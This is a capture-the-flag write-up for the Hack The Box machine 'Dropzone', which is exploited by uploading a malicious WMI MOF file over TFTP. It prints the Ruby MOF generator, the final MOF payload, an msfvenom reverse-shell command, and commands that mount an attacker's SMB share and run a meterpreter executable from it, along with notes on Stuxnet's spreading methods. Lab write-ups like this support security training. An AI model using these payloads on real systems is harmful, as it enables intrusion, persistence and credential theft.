Writeup: Hack The Box - Machines - Dropzone

Description

  • Name: Dropzone
  • IP: 10.10.10.90
  • Author: eks & rjhes
  • Difficulty: 6.1/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.90

The nmap scan found anything so with masscan we searched for open TCP and UDP ports:

masscan -p1-65535,U:1-65535 10.10.10.90 --rate=2000 -e tun0

and we found out that there is only a single open port:

1
2
3
4
5
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-08-25 15:45:59 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 69/udp on 10.10.10.90

Usually the port 69 is binded to tftp and using a stealthy namp scan we can confirm this hypothesis

1
2
3
4
5
6
nmap -n -sS -sU -Pn -p 69 -T0 10.10.10.90

RT STATE SERVICE
69/tcp filtered tftp
69/udp open tftp
Too many fingerprints match this host to give specific OS details

Pwn

Using auxiliary/scanner/tftp/tftpbrute we didn’t found a single file so we didn’t know what to upload/download from the tftp service.

We got a nudge in the right direction to check out Stuxnet malware and try to apply some exploit in this machine.

In a Stuxnet report we found how 5 possible entry point/exploits:

  1. Via WinCC Stuxnet searches for computers running Siemens WinCC, an interface to their SCADA systems. It connects using a password hardcoded into WinCC, and attacks its database using SQL commands to upload and start a copy of itself on the WinCC computer.
  2. Via network shares Stuxnet can use Windows shared folders to propagate itself over a local network. It places a dropper file on any shares on remote computers, and schedules a task to execute it. ESET says the task is scheduled to run the next day, whereas Symantec claims it is scheduled for two minutes after the file is shared.
  3. Via the MS10-061 print spooler 0-day vulnerability Stuxnet copies itself, places the copy on remote computers via this vulnerability, and then executes the copy, thereby infecting the remote machines. In brief, Stuxnet “prints” itself to two files in the %system% directory on each target machine, using the 0-day privilege escalation. It th enexecutes the dropper file to infect the computer.
  4. Via the MS08-067 SMB vulnerability. If a remote computer has this vulnerability, Stuxnet can send a malformed path over SMB (a protocol for sharing files and other resources between computers); this allows it to execute arbitrary code on the remote machine, thereby propagating itself to it.
  5. Via Step7 Projects Stuxnet will infect Siemens SIMATIC Step7 industrial control projects that are opened on an infected computer. It does this by modifying DLLs (Windows Dynamic Link Library; a library of shared objects: code, data, and resources) and an .exe file in the WinCC Simatic manager, so that they execute Stuxnet code as well. The additional code will insert Stuxnet into Step7 project directories.

A more detailed report is draft by Symantec.

Point 1, 2, 4 and 5 are not applicable in our scenario so we focused on generating a malicious Mof file and upload it via tftp in the target machine.

We cannot use the metasploit module exploit/windows/smb/ms10_061_spoolss since we do not have access to the service but we can generate the same mof file to run arbitrary code using wbemexec.rb.

From this and this article we crafted a first version of our exploit using WMI as persistence and a simple payload to ping our machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#PRAGMA AUTORECOVER
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $FILTER {
Name = "DODO_EX";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceModificationEvent "
"WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedDATA_PerfOS_System' AND "
"TargetInstance.SystemUpTime >=360";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $CONSUMER {
Name = "DODO_EX";
RunInteractively = false;
CommandLineTemplate = "cmd.exe /C ping 10.10.15.199";
};
instance of __FilterToConsumerBinding {
Consumer = $CONSUMER;
Filter = $FILTER;
};

But with tftp 10.10.10.90 69 -l -v -c put dodo.mof we didn’t get any ICMP packets even after some hours.

Poking around with tftp we discovered that the root of the service is in C:\ but we weren’t able to discover the user path for the flag.

We then tried to use exploit/windows/fileformat/cve_2017_8464_lnk_rce to generate a malicious LNK file with a meterpreter payload but we didn’t get any session.

Using the tftp we can read some informations on the target OS like get \Windows\System32\eula.txt eula.txt; this command got us the EULA file and at the end of the text we can read: EULAID:XPSP3_RTM_PRO_RTL_EN.

The machine has an old Windows XP SP3 OS; same system used as target for Stuxnet.

From the Symantec report we found that Stuxnet uploaded the malicious mof file in Windows\System32\wbem\mof\sysnullevnt.mof (script to call Windows\System32\winsta.exe) so we tried to put the file inside the same folder.

Windows XP has the “ability” to autorun all mof files inside the folder C:\Windows\System32\wbem\mof\ so we can create a script to mount a share and call our binary with meterpreter.

From metasploit we get wbemexec.rb to create the mof file and edited to print the payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
def generate_mof(mofname, exe)

classname = rand(0xffff).to_s

# From Ivan's decompressed version
mof = <<-EOT
#PRAGMA AUTORECOVER
#pragma namespace("\\\\\\\\.\\\\root\\\\cimv2")
class MyClass@CLASS@ {
[key] string Name;
};

class ActiveScriptEventConsumer : __EventConsumer {
[key] string Name;
[not_null] string ScriptingEngine;
string ScriptFileName;
[template] string ScriptText;
uint32 KillTimeout;
};

instance of __Win32Provider as $P {
Name = "ActiveScriptEventConsumer";
CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
PerUserInitialization = TRUE;
};

instance of __EventConsumerProviderRegistration {
Provider = $P;
ConsumerClassNames = {"ActiveScriptEventConsumer"};
};


Instance of ActiveScriptEventConsumer as $cons {
Name = "ASEC";
ScriptingEngine = "JScript";
ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";
};

Instance of ActiveScriptEventConsumer as $cons2 {
Name = "qndASEC";
ScriptingEngine = "JScript";
ScriptText = "\\nvar objfs = new ActiveXObject(\\"Scripting.FileSystemObject\\");\\ntry {var f1 = objfs.GetFile(\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\#{mofname}\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\"@EXE@\\");\\nf2.Delete(true);\\nvar s = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";
};

instance of __EventFilter as $Filt {
Name = "instfilt";
Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass@CLASS@\\"";
QueryLanguage = "WQL";
};

instance of __EventFilter as $Filt2 {
Name = "qndfilt";
Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\"";
QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $bind {
Consumer = $cons;
Filter = $Filt;
};

instance of __FilterToConsumerBinding as $bind2 {
Consumer = $cons2;
Filter = $Filt2;
};

instance of MyClass@CLASS@ as $MyClass {
Name = "ClassConsumer";
};
EOT

# Replace the input vars
mof.gsub!(/@CLASS@/, classname)
mof.gsub!(/@EXE@/, exe) # NOTE: \ and " should be escaped

puts mof
end

It is possible to debug the script since we can get Windows\System32\wbem\Logs\mofcomp.log mofcomp.log

1
2
(Sun Aug 26 10:27:19 2018.295296) : Parsing MOF file: C:\WINDOWS\system32\wbem\mof\dodo.mof
(Sun Aug 26 10:27:19 2018.295437) : Finished compiling file:C:\WINDOWS\system32\wbem\mof\dodo.mof

With the above ruby function we can call generate_mof("dodo.mof", "cmd.exe /C ping 10.10.XX.XX") (powershell doesn’t seems to be installed) and with tftp 10.10.10.90 69 -v -c put dodo.mof "Windows\System32\wbem\mof\dodo.mof" we got some ICMPs.

With msfvenom we created the exe to get a meterpreter session.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$(ip addr show tun0 | grep -Po "inet \K[\d.]+") LPORT=3487 -f exe -o dodo.exe

And spawned a SMB server to share the folder using impacket: smbserver.py DODO .; with this setup we can mount the share in Z: (or any other available label) and then call the meterpreter stage.

generate_mof("dodo.mof", "cmd.exe /C net use Z: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\10.10.XX.XX\\\\\\\\\\\\\\\\DODO")
will create the mount point in Z:. We need a lots of \ since a single backslash can be ascaped with 4 backslashes and we needed to escape those chars from the ruby script too.

The final mof file is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#PRAGMA AUTORECOVER
#pragma namespace("\\\\.\\root\\cimv2")
class MyClass25058 {
[key] string Name;
};

class ActiveScriptEventConsumer : __EventConsumer {
[key] string Name;
[not_null] string ScriptingEngine;
string ScriptFileName;
[template] string ScriptText;
uint32 KillTimeout;
};

instance of __Win32Provider as $P {
Name = "ActiveScriptEventConsumer";
CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
PerUserInitialization = TRUE;
};

instance of __EventConsumerProviderRegistration {
Provider = $P;
ConsumerClassNames = {"ActiveScriptEventConsumer"};
};

Instance of ActiveScriptEventConsumer as $cons {
Name = "ASEC";
ScriptingEngine = "JScript";
ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.exe /C net use Z: \\\\\\\\10.10.XX.XX\\\\DODO\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass25058\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";
};

Instance of ActiveScriptEventConsumer as $cons2 {
Name = "qndASEC";
ScriptingEngine = "JScript";
ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\dodo.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.exe /C net use Z: \\\\\\\\10.10.XX.XX\\\\DODO\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
};

instance of __EventFilter as $Filt {
Name = "instfilt";
Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass25058\"";
QueryLanguage = "WQL";
};

instance of __EventFilter as $Filt2 {
Name = "qndfilt";
Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.exe /C net use Z: \\\\\\\\10.10.XX.XX\\\\DODO\"";
QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $bind {
Consumer = $cons;
Filter = $Filt;
};

instance of __FilterToConsumerBinding as $bind2 {
Consumer = $cons2;
Filter = $Filt2;
};

instance of MyClass25058 as $MyClass {
Name = "ClassConsumer";
};

We can see that DROPZONE machine connected to the share.

generate_mof("dodo.mof", "cmd.exe /C call Z:\\\\\\\\\\\\\\\\dodo.exe")

We got a session as SYSTEM/NT user in a 32-bit Windows XP and got all user hashes. Moving to read all flags!

Since the last file states that we have to look some ADS we used the tool Stream to search for attached infos.

ADS (Alternate Data Streams) files were added to NTFS to support Macintosh Hierarchical File System (HFS) that uses resources forks to store informations. Those informations are not visible from the file content so tools are required to read the $Data attribute.

More infos here, here, here and here

After uploading the streams.exe file into DROPZONE machine we recursively searched for ADS and we got the flags.